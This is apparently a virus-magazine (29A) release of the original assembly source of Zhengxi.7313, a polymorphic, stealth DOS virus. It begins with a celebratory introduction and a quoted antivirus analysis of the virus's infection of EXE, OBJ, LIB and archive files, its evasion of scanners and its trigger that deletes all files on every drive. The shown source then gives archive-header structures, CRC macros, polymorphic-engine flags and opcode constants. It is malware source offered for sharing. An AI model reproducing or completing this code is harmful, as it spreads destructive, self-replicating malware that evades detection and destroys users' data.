; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³ Zhengxi.7313 ³Û ; ³ original source code ³Û ; ÀÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ ; ; ; At last... the source of the most complex virus ever is published in a ; virus magazine. And we're glad that the fortunate magazine is 29A :) You ; are stepping with the reader cool smooth scroll through the original ; source code of the best of the three versions (7271, 7307, 7313) of Zhen- ; gxi. This source code, as the compiled version of the virus itself, is ; quite hard to understand. Anyway, i decided to leave the source code 'as ; is', albeit some weeks ago i started making it up a bit and commenting ; some uncommented code so it would be more easy and clear to read. At last ; i decided to stop spending my time on this and give you the *truly* ori- ; ginal source code, so you can know the way in which its author coded it, ; you can read the original comments (some of them in russian), and so on. ; ; The original source code is formed by some ASI, ASM and INC files, which ; make the virus compiling harder than the virus coding itself :) That's ; why i included a ZIP which contains the compiled version of Zhengxi.7313. ; ; I must give thanks to the author of this rocking virus because of the su- ; permarvel he coded and for releasing the original source code (btw, he ; seems to have a great sense of humour :), and to the friend who gave this ; jewel to me, who wishes to remain anonymous. As a last thing, for those ; who still don't know what does Zhengxi do (!), here's a very good report ; about the Zhengxi virus family, written by Eugene Kaspersky, who, btw, ; should use the money he earns with AVP for taking some english classes :) ; ; ; ÄÄ´ Zhengxi family ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; This is the family of very dangerous, polymorphic and stealth parasitic ; viruses. These viruses are more that 7k of length, very complex, maybe ; the most complex DOS viruses. These viruses infect EXE, OBJ and LIB fi- ; les, and append COM droppers to ZIP, ARJ, HA, and RAR archives. The viru- ; ses contain the text strings: ; ; Abnormal program termination ; The Virus/DOS 0.54 Copyright (c) 1995 Zhengxi Ltd ; Warning! This program for internal use only! ; ; ; Installation ; ÄÄÄÄÄÄÄÄÄÄÄÄ ; The virus code receives the control from different points depending on ; the infection way, but in all cases the destination is the polymorphic ; decryption routine. In EXE files (appending) the decryption routine re- ; ceives the control immediately when EXE file is loaded into the memory ; for execution; in EXE files (inserting), from the loader code (see EXE ; infection); in the files linked with infected OBJ/LIB files, from a call ; instruction (see OBJ/LIB infection); the COM droppers have a jmp instruc- ; tion at their beginning, which brings the control to the decryption rou- ; tine. ; ; Being decrypted, the virus installation routines receives the control. ; The virus hooks int 1 (one step tracing), and traces int 21h. While tra- ; cing, the virus looks for some specific code within the int 21h handler ; (that code is present in DOS 5.x and DOS 6.x). If such code is found, the ; virus checks several conditions, and terminates installation in some ca- ; ses. These cases are the ones below: ; ; - Microsoft Windows is installed ; - Boot drive is A: or B: ; - Int 8, 13h, 28h point to the same segment (to exit installation if any ; antivirus monitor is installed?) ; - Host file's day (date and time stamp) is the same or near the current ; day (if the two highest bits of current day number xored with the file ; day is equal to zero) ; ; Then the virus allocates the block of the system memory for the virus TSR ; copy, stores in its body 11 bytes from the address of the int 21h handler ; and patches int 21h code with a far call instruction (2f ff 1e ?? ??), ; which brings the control to the int 25h handler (absolute disk read). ; Then the virus stores the first five bytes of int 25h handler and writes ; there other five bytes, which become the far jmp to the virus code. The ; result looks like follows: ; ; int 21h handler: ; ... ... ; ÚÄÄÄÄÄÄÄÄÄ 2e ff 1f ???? call far cs:int_25h ; ³ c7 06 ???? ; Magic word? ; ³ int_25h: ???? ???? ???? ???? ; Far addr of int 25h ; ³ ... ... ; ³ ; À> int 25h handler: ; ÚÄÄÄÄÄÄÄÄÄ ea ???? ???? jmp far virus_handler ; ³ ... ... ; À> virus handler: ; 2e 8f 06 ... pop cs:caller_ip ; ... ... ; ; As result, the virus has the same handler to intercept both int 21h and ; int 25h calls. To separate these calls, Zhengxi checks the address of the ; caller (the caller_ip). If the call goes to the int 21h handler, the vi- ; rus passes the control to its int 21h handler routine; in another case, ; the virus int 25h handler receives the control. ; ; The installation routine is complete, but the virus can move its code to ; other memory blocks (see int 21h handler analysis). So, the TSR copy of ; the virus does not occupy the same blocks of the system memory, but may ; move itself to other addresses, including UMB ones. ; ; Then the virus returns the control to the host program. There are three ; different variants of such return, and they depend on the infection me- ; thod. In case of a COM dropper the virus just displays this message: ; ; Abnormal program termination ; ; And returns to DOS with the terminate function (int 21h, ah=4ch). In case ; of the EXE-appending infection method the virus restores the original fi- ; le header by using its polymorphic engine (generates the polymorphic de- ; cryption routine, and executes it for restoring the original header (see ; EXE infection below). In case of the EXE-inserting way the virus just re- ; turns to the host program because the virus loader inserted into the file ; restores the original code itself. In case of being an OBJ/LIB file the ; virus also just returns to the host (see OBJ/LIB infection below). ; ; ; Int 21h handler ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Zhengxi intercepts 18 int 21h functions: ; ; 3dh, 6ch - Open/create file ; 3eh - Close file ; 3fh - Read file ; 42h - Lseek ; 4bh - File execution ; 41h - Delete file ; 11h, 12h - Findfirst/findnext FCB ; 4eh, 4fh - Findfirst/findnext ASCII ; 00h, 4ch - Terminate ; 31h - Terminate and stay resident ; 67h - Set handle count ; 48h, 49h, 4ah - Memory managing functions (allocate, free, resize) ; ; The set handle count, file execution and memory managing functions are u- ; sed by the virus to hide its code into the system memory (Zhengxi manipu- ; lates MCB blocks to remain invisible on the memory map while using memory ; browsing utilities). ; ; While intercepting terminate, TSR and free memory DOS functions, Zhengxi ; moves its code to a new address in the system memory. The virus allocates ; a new memory block (may be a conventional or UMB memory block), and co- ; pies itself there. So, while installing, the virus does not affect UMB ; blocks to place its TSR copy, but then it may move into UMB, and hide it- ; self there. ; ; While file opening the virus performs several different calls. First, the ; virus checks the opening mode, and if the file is opened for writing, the ; virus disinfects the file. ; ; Before disinfection the virus checks the file is being accessed, and the ; program that is accessing that file (the caller). The virus compares the ; name of this program or caller with a name list (see below), and does not ; disinfect the accessed file if the caller name is found in that list. ; ; UUENCODE.EXE, PKLITE.EXE, LZEXE.EXE, NDD.EXE, DIET.EXE, AFD.EXE, SD.EXE ; SPEEDDSK.EXE, DEFRAG.EXE, TLINK.EXE, LINK.EXE ; ; In case of the ah=3d00h function (open read-only) the virus performs some ; strange actions. It scans the caller code and patches it. It looks like ; patching some antivirus scanner. Fortunately, the virus has a bug, and ; that branch is never executed. ; ; While opening the file, the virus also brings the control to its stealth ; routine: it replaces the file length with the original one. ; ; While reading from a file, Zhengxi calls the stealth routine. In case of ; reading from the header of the infected file the virus reads, decrypts ; and copies the original header into the reading buffer. ; ; In case of the lseek function the virus brings the control to other of ; its stealth routines: it doesn't allow to seek out of the original file ; length. ; ; While deleting an infected file, the virus disinfects it. ; ; While looking for files with findfirst/findnext, Zhengxi replaces the fi- ; le length with the original one if the file is infected. ; ; Findfirst/findnext ASCII calls are also used by the virus to catch files ; for infection. The virus saves the name of any file that is accessed with ; the findfirst function, and approximately each 5th file (with probability ; 3/16) accessed with the findnext function. The virus has only one buffer ; for the file name, so every next name overwrites the previous one. ; ; While closing any file the virus checks and infects it with the name that ; that is stored in the buffer. The virus also infects the file that is be- ; ing closed, but is does it with probability 1/4 (by the result of its ; random generator). ; ; ; Infection ; ÄÄÄÄÄÄÄÄÄ ; Before infecting a file, Zhengxi checks several conditions: ; ; - The file is not "just created", by comparing the current day number ; with the file date and time stamp (as while installing itself) ; - The file is local, and not on A: or B: drive ; - The file name is not *.?V? (*.OVL) ; - There is enough free disk space (it checks this with int 21h, ah=36h) ; ; If all this is ok, the virus reads the file header and checks it for EXE, ; OBJ, LIB and archives stamps. ; ; ; Infecting EXE files ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Zhengxi infects EXE files by using three different infection methods: ; appending, inserting, and infecting archives in self-extracting files. ; ; At first, the virus checks the file structure, and if it is a self-ex- ; tracting EXE file (created by ZIP2EXE, for instance), Zhengxi infects it ; using the same method it uses when infecting archives (ZIP, ARJ, HA, RAR) ; that is, creating a COM dropper and adding it to the archive contents. ; ; Then the virus checks the file length, and doesn't infect files with a ; length lesser than 400h (1024) bytes. If the length of the loadable modu- ; dule (note: not the file length) is larger that 32k, Zhengxi inserts its ; own loader int the middle of the file. In other case, it infects the file ; by the appending method. ; ; While infecting files by the appending method, Zhengxi reads file header, ; encrypts and saves it to the end of the file. Then it runs its polymor- ; phic generator, and saves the encrypted virus body and the polymorphic ; loops to the end of the file. For finishing the file infection, Zhengxi ; increases the file length to a value that divided by 9dh gives 25h as ; rest (this is the virus ID stamp, its infection mark), and modifies the ; EXE header fields (registers and module length). ; ; Note: Zhengxi encrypts the original host header with the polymorphic en- ; cryption loop, and that loop is different that the routine it uses for ; encrypting the virus body. Then, the virus calls its polymorphic engine ; twice: while encrypting the original EXE header, and while encrypting the ; main body. ; ; While executing an infected EXE file, the decryption loop restores the ; main virus body, but not original file header. To return to the host, the ; virus has to decrypt the host data, but the engine generates random loops ; with random selected encryption functions. To solve that problem, Zhengxi ; stores the initial random generator values while encrypting the host da- ; ta, and runs the polymorphic generator with the same values while decryp- ; ting those data. As result, the generator brings the same code which was ; used for encrypting the host header, and being executed, that routine de- ; crypts it. ; ; ; Infecting EXE Files (inserting) ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; If the file length is above 32k, the virus seeks to the beginning of the ; EXE main module (just after EXE header), reads 6k of code, and looks for ; C/Pascal routines there. Usually C/Pascal routines begin from the same ; "header" that saves the BP register, and moves the stack pointer to BP. ; ; Zhengxi scans the code for those "headers" and, if such code is found, ; the virus scans the next 54h bytes of code for a ret or a call far ins- ; truction to prevent an overlap of the next subroutine, or relocated ad- ; dress. If such code (ret or call far) is found, the virus exits from its ; infection routine. ; ; Then the virus reads 54h bytes of that routine, overwrites it with the ; code of its loader, and then encrypts the main virus body with its poly- ; morphic engine, and saves it to the end of the file. Then Zhengxi en- ; crypts with a simple sub function the original subroutine code and the ; second part of the loader, and saves it to the end of the file. Then the ; virus writes the random data to the end of the file in the same way as ; in the "appending" infection method. ; ; Not infected Infected ; ÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄ ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³EXE header ³ ³EXE header ³ ; ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ; ³Main EXE code ³ ³Main EXE code ³ ; Ã--------------´ Ã--------------´ ; ³C/Pascal subr ÃÄÄ¿ ³Virus loader ³ Part 1, 52h bytes, not encrypted ; Ã--------------´ ³ Ã--------------´ ; ³ ³ ³ ³Main EXE code ³ ; ³ ³ ³ ³(continued) ³ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ; ³ ³Virus ³ Encrypted with polymorphic loops ; ³ Ã--------------´ ; ³ ³Virus loader ³ Part 2, encrypted with sub ; ³ Ã--------------´ 70h bytes ; ÀÄ>³Saved code ³ Original code of the patched subr, ; Ã--------------´ 52h bytes, encrypted with sub ; ³Random data ³ File length/9dh, the rest is 25h ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ; ; Being executed, the loader looks for the host file name by using the PSP ; fields, opens the file, seeks to the file end, then reads, decrypts and ; executes the second part of the dropper. This part restores the patched ; subroutine, allocates system memory (conventional or UMB), reads the main ; virus body, and passes the control to the decryption polymorphic loop. ; That loop decrypts the virus body, and passes the control to Zhengxi's ; installation routine. ; ; This is a very insidious infection way. The virus code is hidden in the ; file, and there is no direct entry to the virus code from the file head- ; er. The subroutine replaced with virus loader may be a "seldom-executed" ; one. For instance, a subroutine which displays an error message. So the ; virus may "sleep" in such files for a long time, and then jump out and ; infect the system under some limited conditions. ; ; ; Infecting archives ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; In case of having to infect an archive, Zhengxi builds in memory the in- ; fected COM dropper image, and appends it to the archive. Those COM drop- ; pers always begin with a jmp instruction followed by random data, the en- ; crypted virus code and the decryption polymorphic loop. The jmp instruc- ; tion brings the control to this decryption loop. ; ; The name of the COM dropper is random selected and finished with a .COM ; extension, for instance: ; ; HAIF.COM, UCM.COM, DOO.COM, VLG.COM, and so on. ; ; While processing the archive fields, Zhengxi does not use any external u- ; tility, but fills by itself all the necessary fields. The virus does not ; pack the dropper: it uses the "stored" method (the virus is stored in the ; archive "as is"). While infecting, Zhengxi checks the contents of the ar- ; chives, and does not infect them twice. ; ; ; Infecting OBJ and LIB files ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; While infecting OBJ/LIB modules, Zhengxi checks the fields of the file, ; creates, and inserts there a new object record which contains the viral ; code, encrypted with two polymorphic loops. ; ; While scanning object files, the virus checks the code of these files for ; a C/Pascal subroutine "header" as well as while inserting into EXE files, ; and infects the files only if that code is found. But if the OBJ or the ; LIB module doesn't contain such code, the virus does not drop the loader ; code there, but overwrites a C/Pascal header with a call instruction. ; ; Being linked to an executable file, that call brings the control to the ; virus polymorphic decryption loop. That loop decrypts the viral code and ; passes the control to the virus installation routine. ; ; As well as in EXE files (inserting), that call may never receive the con- ; trol, so Zhengxi may sleep for a long time. But under some conditions the ; virus may jump out and infect the system. ; ; ; Int 25h handler ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; This handler carries out the stealth routine on int 25h level. While ac- ; cessing to the directory entries, the virus substitutes the file length ; with the original one. While reading the header of an infected file, the ; virus restores and brings it in its original form. ; ; The virus doesn't stealth 100% on int 25h level, of course. There are se- ; veral ways to bypass this stealth routine. But if some antivirus program ; reads the file contents via int 21h DOS functions, then it reads the di- ; rectory structure and then the file contents by absolute int 25h calls, ; and Zhengxi remains completely invisible. ; ; ; Trigger routine ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; If while processing a ZIP file Zhengxi finds some record packed with the ; "stored" method, it checks the ZIP file date and time stamp. If the year ; of last modification of that file is 1996 or above, Zhengxi will look for ; all the files of all the directories on all the disks (from C: till Z:), ; and delete them (the files and whole subdirectory tree). ; ; ÄÄ´ Zhengxi code ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Structure of archive block (low order byte first): arj_hdr_struc struc arj_header_id dw ? ; 0;=EA60 2 header id (comment and local ; file) = 0xEA60 or 60000U arj_bas_hdr_size dw ? ; 2;=28 ? 2 basic header size (from ; 'first_hdr_size' thru 'comment' below) ;= first_hdr_size + strlen(filename) + 1 ;+ strlen(comment) + 1 ;= 0 if end of archive arj_first_hdr_size db ? ; 4;1E 1 first_hdr_size (up to extra data) arj_ver_num db ? ; 5;06 1 archiver version number arj_min_ver db ? ; 6;01 1 min. archiver version to xtract arj_host_OS db ? ; 7;00 1 host OS (0 = MSDOS, 1 = PRIMOS, ; 2 = UNIX, 3 = AMIGA, 4 = MACDOS) arj_flags db ? ; 8;10 1 arj flags (0x01 = GARBLED_FLAG) ; indicates passworded file ; ; (0x02 = RESERVED) ; ; v- no inf.vol.files, detect it as already ; ; (0x04 = VOLUME_FLAG) indicates continued ; file to next volume ; ; (0x08 = EXTFILE_FLAG) indicates file ; starting position field ; ; (0x10 = PATHSYM_FLAG) path translated arj_compres_method db ? ; 9;00 1 method (0 = stored, 1 = compressed ; most ... 4 compressed fastest) arj_file_type db ? ; A;00 1 file type (0 = binary, 1 = text ; 2 = comment header) arj_reserved db ? ; B;'Z' 1 reserved arj_file_time dw ? ; C; 4 date time stamp modified arj_file_date dw ? ; E; 4 date time stamp modified arj_compressed_size dd ? ;10; 4 compressed size arj_original_size dd ? ;14; 4 original size arj_CRC32 dd ? ;18; 4 original file's CRC arj_entryname_pos dw ? ;1C;0 2 entryname position in filename arj_file_access_mode dw ? ;1E;0 2 file access mode arj_host_data dw ? ;20;0 2 host data (currently not used) ;22; ; ? filename (null-terminated) ; ? comment (null-terminated) ; 4 basic header CRC ; 2 1st extended header size (0 if none) = 0 ; ? compressed file ends ha_main struc hasign db 'HA' filecnt dw ? ends ha_file_hdr struc ha_ver_method db 20h ; 0 ha_compress_size dd ? ; 2 ha_original_size dd ? ; 6 ha_CRC32 dd ? ; A ha_file_time dw ? ; E ha_file_date dw ? ; 10 ha_path dw ? ; '/', '.', '+' ; 12 db ends ; 14 ha_name equ ha_path+size ha_path ;+1 name ;+n 00h ;+1 length of machine specific information ;+1 machine specific information ;2,1,20 ;machine specific information : ;0000 type ;0001 information rar_main_hdr struc rar_head_crc dw ? rar_head_type db 73h rar_head_flags dw ? ; 0x01 - Volume attribute (archive volume) ; 0x02 - Archive comment present ; 0x04 - Archive lock attribute ; 0x08 - Solid attribute (solid archive) ; 0x10 - Unused ; 0x20 - Authenticity information present rar_head_size dw ? rar_reserved1 dw ? rar_reserved2 dd ? ends ;Comment block present if (HEAD_FLAGS & 0x02) != 0 rar_file_hdr struc rar_f_head_crc dw ? ; 0 rar_f_head_type db 74h ; 2 rar_f_head_flags dw ? ; 3 ; 0x01 - file continued from previous volume ; 0x02 - file continued in next volume ; 0x04 - file encrypted with password ; 0x08 - file comment present ; (HEAD_FLAGS & 0x8000) == 1, because full ; block size is HEAD_SIZE + PACK_SIZE rar_f_head_size dw ? ; 5 rar_compressed_size dd ? ; 7 rar_original_size dd ? ; B rar_host_os db 0 ; F rar_crc32 dd ? ;10 rar_file_time dw ? ;14 rar_file_date dw ? ;16 rar_req_ver db 15d ;18 rar_method db 30h ;19 rar_fname_size dw ? ;1A rar_file_attrib dd ? ;1C ends ;20 ;FILE_NAME File name - string of NAME_LEN bytes size ;Comment block present if (HEAD_FLAGS & 0x08) != 0 ;???? Other extra included blocks - reserved for future use zip_local_header struc zip_loc_sign db 'PK' ; 0 zip_ver_ned_to_extr dw ? ; 4 zip_flags dw ? ; 6 zip_compression_method dw ? ; 8 zip_file_time dw ? ; A zip_file_date dw ? ; C zip_crc_32 dd ? ; E zip_compressed_size dd ? ; 12 zip_uncompressed_size dd ? ; 16 zip_size_fname dw ? ; 1A zip_extra_field_length dw ? ; 1C ends ; 1E ; filename (variable size) ; extra field (variable size) zip_central_header struc zip_centr_sign_ db 'PK' ; 0 zip_ver_made_by_ dw ? ; 4 zip_ver_ned_to_extr_ dw ? ; 6 zip_flags_ dw ? ; 8 zip_compression_method_ dw ? ; A zip_file_time_ dw ? ; C zip_file_date_ dw ? ; E zip_crc_32_ dd ? ; 10 zip_compressed_size_ dd ? ; 14 zip_uncompressed_size_ dd ? ; 18 zip_size_fname_ dw ? ; 1C zip_extra_field_length_ dw ? ; 1E zip_file_comment_length_ dw ? ; 20 zip_disk_number_start_ dw ? ; 22 zip_intrnl_file_attr_ dw ? ; 24 zip_extrnl_file_attr_ dd ? ; 26 zip_rel_off_of_loc_hdr_ dd ? ; 2A ends ; 2E ; filename (variable size) ; extra field (variable size) ; file comment (variable size) zip_end_header struc end_file_hdr_sign db 'PK' ; 0 num_of_this_disk dw ? ; 4 num_of_the_start_disk dw ? ; 6 ttl_num_of_ent_on_this_disk dw ? ; 8 ttl_num_of_ent_in_the_cent_dir dw ? ; A size_of_the_central_directory dd ? ; C off_of_strt_of_cent_directory dd ? ; 10 zipfile_comment_length dw ? ; 14 ends ; 16 ; zipfile comment (variable size) seg_attr RECORD SA_A:3, SA_C:3, SA_B:1, SA_P:1 MODEND = 08Ah SEGDEF = 098h FIXUPP = 09Ch LEDATA = 0A0h ;extrn dosseek_cx_0:near objrec struc rectype db ? recsize dw ? UNION STRUC segattr db ? segsize dw ? ENDS STRUC dataidx db ? dataorg dw ? ENDS ENDS ENDS LIB_DICTIONARY_ENTRY_SIZE = 200h lib_hdr struc lib_hdr_type db 0F0h lib_hdr_recsize dw ? lib_hdr_dict_offs dd ? lib_hdr_dict_size dw ? lib_hdr_flags db ? lib_hdr_padding db 10h-lib_hdr_padding dup (?) ends ;;MRORW MACRO w1, shval ;;PUSHSTATE ;;.386 ;; dw ((w1 and 0FFFFh) shr (shval and 0Fh)) or ((w1 and 0FFFFh) shl ;; (10h-(shval and 0Fh))) ;;POPSTATE ;;ENDM CRC32w MACRO moreshit PUSHSTATE .386 LOCAL cum_crc, byt, suxx cum_crc = 0FFFFFFFFh IRP _byt, byt = _byt xor (cum_crc and 0FFh) cum_crc = (cum_crc shr 8) and 0FFFFFFh REPT 8 IF byt and 1 byt = (byt shr 1) xor 0EDB88320H ELSE byt = byt shr 1 ENDIF ENDM cum_crc = cum_crc xor byt ENDM cum_crc = not cum_crc suxx = (((cum_crc shr 16) and 0FFFFh) shr (cum_crc and 0Fh)) or \ (((cum_crc shr 16) and 0FFFFh) shl (10h-(cum_crc and 0Fh))) suxx = (suxx + cum_crc) and 0FFFFh ; add dx, cx dw suxx POPSTATE ENDM cmp_ax_CRC32w MACRO moreshit db 3Dh CRC32w ENDM .286 %NOINCL %NOSYMS .SFCOND .XCREF .SALL locals USE_PUSHA equ 0 ;RELIZ equ 0 ;USE_BEEP equ 0 $BEEP$ macro IFDEF USE_BEEP extrn beep:near call beep ENDIF endm ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ INCLUDE SF.INC ;\ INCLUDE FIND.INC ;| INCLUDE EXE.INC ;> ¨§ ¨á室­¨ª®¢ MS-DOS 3.30 INCLUDE PDB.INC ;| INCLUDE DPB.INC ;| INCLUDE DIRENT.INC ;| INCLUDE ARENA.INC ;/ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ INCLUDE STAR14T.INC INCLUDE ABSDISK.INC INCLUDE ARXHDRS.ASI INCLUDE SHMAC.INC INCLUDE CRC.ASI ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ GLOBAL RND_INIT:near, \ RND_GET:near, \ randomizer RND_GET_THREE_BITS:near, \ RND_GET_BYTE:near ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ RegWord ENUM R_AX, R_CX, R_DX, R_BX, R_SP, R_BP, R_SI, R_DI RegByte ENUM R_AL, R_CL, R_DL, R_BL, R_AH, R_CH, R_DH, R_BH secondbyte RECORD M0D:2, REG:3, R_M:3 asgrbl RECORD N :1, \ REG_GARBL3 :1, \ ॣ¨áâàë REG_GARBL2 :1, \ ­¥ ¨á¯®«ì§ã¥¬ë¥ REG_GARBL1 :1, \ ¤«ï à áè¨ä஢ª¨ REG_TMP2 :1, \ ¤«ï ª®­áâ ­â REG_TMP1 :1, \ REG_ENC :1, \ REG_INDEX :1 ; 㪠§ â¥«ì ­  è¨äà㥬®¥ á«®¢® REG_GARBL_ALL = MASK REG_GARBL1 or \ ॣ¨áâàë MASK REG_GARBL2 or \ ­¥ ¨á¯®«ì§ã¥¬ë¥ MASK REG_GARBL3 ; ¤«ï à áè¨ä஢ª¨ REG_ENC_ALL = MASK REG_ENC or \ ॣ¨áâàë MASK REG_TMP1 or \ ¨á¯®«ì§ã¥¬ë¥ MASK REG_TMP2 ; ¤«ï à áè¨ä஢ª¨ REG_ALL = MASK REG_INDEX or \ ¢á¥ ॣ¨áâàë (ªà®¬¥ SP) REG_ENC_ALL or \ REG_GARBL_ALL ; ;ÄcurrentÄnotÄusedÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ENFLAGS RECORD EN_SAVE_REGS :1, \ á®åà ­ïâì ॣ¨áâàë ¯¥à¥¤ à áè¨ä஢ª®© EN_USE_INT :1, \ ¥­ª®¤¨âì ¯à¥à뢠­¨ï EN_USE_CALL :1, \ ¥­ª®¤¨âì ¯à®æ¥¤ãàë ¨ JMP near EN_USE_JMPS :1, \ ¥­ª®¤¨âì ãá«®¢­ë¥ ¯¥à¥å®¤ë EN_INT_GARBL :1, \ ¬ «® «¥¢ëå ¨­áâàãªæ¨© ¢ à áè¨ä஢騪¥ EN_RELOCATOR :1, \ ®¯à¥¤¥«ïâì ᢮¥ ¯®«®¦¥­¨¥ ¢ ¯ ¬ï⨠EN_BFR_GARBL :2 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ENFLAGS_ARX = MASK EN_RELOCATOR or \ MASK EN_USE_INT or \ MASK EN_USE_JMPS or \ MASK EN_USE_CALL or \ (3 shl EN_BFR_GARBL) ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ä« £¨ ¤«ï ¢¨àãá  ¢ EXEä ©«¥ ENFLAGS_EXE = MASK EN_USE_INT or \ MASK EN_USE_JMPS or \ MASK EN_USE_CALL or \ (3 shl EN_BFR_GARBL) ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ENFLAGS_HDR = MASK EN_INT_GARBL or \ MASK EN_RELOCATOR or \ MASK EN_SAVE_REGS ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ä« £¨ ¤«ï ¢¨àãá  ¢ EXEä ©«¥ c podgruzkoi ENFLAGS_IXE = MASK EN_USE_JMPS or \ MASK EN_USE_CALL or \ MASK EN_RELOCATOR or \ MASK EN_SAVE_REGS or \ (2 shl EN_BFR_GARBL) ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ä« £¨ ¤«ï ¢¨àãá  ¢ OBJä ©«¥ ENFLAGS_OBJ = MASK EN_INT_GARBL or \ MASK EN_SAVE_REGS or \ MASK EN_USE_CALL or \ MASK EN_RELOCATOR or \ (1 shl EN_BFR_GARBL) ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ä« £¨ ¤«ï ¢¨àãá  ¢ OBJä ©«¥ ;ENFLAGS_OBJ = MASK EN_INT_GARBL or \ ; MASK EN_SAVE_REGS or \ ; MASK EN_RELOCATOR ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;®¯ª®¤ë opNOP equ 90h opPUSHF equ 9Ch opINT equ 0CDh opCALL equ 0E8h opJMPN equ 0E9h opJMPS equ 0EBh opSEGCS equ 2Eh opSEGES equ 26h opRETN equ 0C3h opRETF equ 0CBh opJMPFAR equ 0EAh opMOV_AHimm equ 0B4h opPUSH_CS equ 0Eh opPUSHA equ 60h opPOPA equ 61h opJC equ 72h opJZ equ 74h opPOP_AX equ 58h opPUSH_AX equ 50h opCMP_AXimm equ 3Dh opCMP_ALimm equ 3Ch 